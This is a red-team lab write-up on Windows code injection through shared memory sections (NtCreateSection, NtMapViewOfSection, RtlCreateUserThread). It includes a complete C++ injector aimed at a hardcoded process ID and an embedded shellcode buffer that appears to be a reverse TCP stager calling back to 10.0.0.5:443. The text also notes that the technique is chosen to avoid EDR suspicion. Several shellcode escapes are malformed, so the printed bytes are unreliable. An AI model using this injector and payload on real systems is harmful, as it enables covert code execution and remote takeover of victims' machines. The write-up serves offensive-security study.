

NtCreateSection + NtMapViewOfSection Code Injection

Overview

This lab is for a code injection technique that leverages Native APIs `NtCreateSection`, `NtMapViewOfSection` and `RtlCreateUserThread`.

- Section is a memory block that is shared between processes and can be created with `NtCreateSection` API
- Before a process can read/write to that block of memory, it has to map a view of the said section, which can be done with `NtMapViewOfSection`
- Multiple processes can read from and write to the section through the mapped views

High level overview of the technique:

- Create a new memory section with RWX protection
- Map a view of the previously created section to the local malicious process with RW protection
- Map a view of the previously created section to a remote target process with RX protection. Note that by mapping the views with RW (locally) and RX (in the target process) we do not need to allocate memory pages with RWX, which may be frowned upon by some EDRs.
- Fill the view mapped in the local process with shellcode. By definition, the mapped view in the target process will get filled with the same shellcode
- Create a remote thread in the target process and point it to the mapped view in the target process to trigger the shellcode

Execution

Let's create a new memory section in the local process, that will have RWX access rights set:

```
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE |  
SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize,  
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
```

We can see the section got created and we obtained its handle 0x88:

The screenshot displays a Visual Studio IDE with a C++ code editor on the left, a task list on the right, a process handle table at the bottom right, and a 'Handle Properties' dialog box in the center.

```
12 int main()
13 {
14     unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00
15
16     myNtCreateSection fNtCreateSection = (myNtCreateSection)GetProcAddress
17     myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)GetProcAddress
18     myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)GetProcAddress
19     SIZE_T size = 4096;
20     LARGE_INTEGER sectionSize = {
21     HANDLE sectionHandle = NULL;
22     PVOID localSectionAddress = NULL;
23
24     // create a memory section
25     fNtCreateSection(&sectionHandle,
26
27     // create a view of the section
28     fNtMapViewOfSection(sectionHandle,
29
30     // create a view of the section
31     HANDLE targetHandle = OpenProcess(
32     fNtMapViewOfSection(sectionHandle,
33
34     // copy shellcode to a local view
35     memcpy(localSectionAddress, buf,
36
37     HANDLE targetThreadHandle = NULL;
38     fRtlCreateUserThread(targetHandle,
39
40     return 0;
41 }
42
```

The task list shows the following processes:

Process Name	PID	Private Bytes	Working Set	Session
svchost.exe	3960	1.75 MB	NT AUTHORITY\SYSTEM	
ctfmon.exe	8696	10.59 MB	WS01\mantvydas	
svchost.exe	2108	4.01 MB	NT AUTHORITY\SYSTEM	
svchost.exe	7160	2.56 MB	NT AUTHORITY\SYSTEM	

The 'Handle Properties' dialog box shows the following information:

- Name: Commit (4 kB)
- Type: Section
- Object address: 0xffffbd8f48a4ec30
- Granted access: 0xe (Map read, Map write, Map execute)
- References: 32766
- Handles: 1
- Quota charges: Paged: 72, Non-paged: 184

The process handle table at the bottom right shows the following handles for 'noexecute.exe' (PID 7620):


Type	Name	Handle
Key	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	0x8
Directory	\KnownDlls	0x38
File	\\WBoxSvr\Experiments\CodeInjection\noexecute\noexecute	0x44
File	\Device\ConDrv	0x48
File	\Device\ConDrv	0x4c
File	\Device\ConDrv	0x54
File	\Device\ConDrv	0x58
File	\Device\ConDrv	0x5c
Key	HKLM\SYSTEM\ControlSet001\Control\Session Manager	0x84
Section	Commit (4 kB)	0x88
Key		0x90

The 'Locals' window shows the following variables:

Name	Value
localSectionAddress	0x0000021b02bb0000
remoteSectionAddress	0x0000000000000000
sectionHandle	0x0000000000000088
sectionSize	{0x00000000000001000}
size	0x00000000000001000
targetHandle	0xffffffffffffffff


Let's create an RW view of the section in our local process and obtain its address which will get stored in `localSectionAddress`:

```
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress,
NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
```

We can now create a remote thread inside the notepad.exe and make the remoteSectionAddress its start address in order to trigger the shellcode:

```
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
```



Code

```
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING { USHORT Length;          USHORT MaximumLength;
PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {          ULONG Length; HANDLE RootDirectory;
PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID
SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; }
CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN
ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN
PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributes, IN ULONG
SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle,
HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T
CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD
InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN
PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG
StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT
PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main()
{
    unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31
\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48
\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\x
c9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd
0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48
\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3
\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\x
c1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd
8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01
\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59
\x41\x5a\x48\x83xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\x
ff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x4
8\x81xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05
\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xe4
\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x
50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x4
```

```
1\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89
\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\
x93\x00\x00\x00\x48\x83xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x
89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5
e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9
\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\
xf0\x48\x89\da\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x
28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0
f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff
\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\
x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
```

```
myNtCreateSection fNtCreateSection = (myNtCreateSection)
(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)
(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)
(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;

// create a memory section
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE
| SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// create a view of the memory section in the local process
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(),
&localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

// create a view of the memory section in the target process
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
fNtMapViewOfSection(sectionHandle, targetHandle,
&remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

// copy shellcode to the local view, which will get reflected in the
target process's mapped view
memcpy(localSectionAddress, buf, sizeof(buf));

HANDLE targetThreadHandle = NULL;
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0,
remoteSectionAddress, NULL, &targetThreadHandle, NULL);

return 0;
}
```

References

<http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html>

<https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html>

<https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views>

<https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing>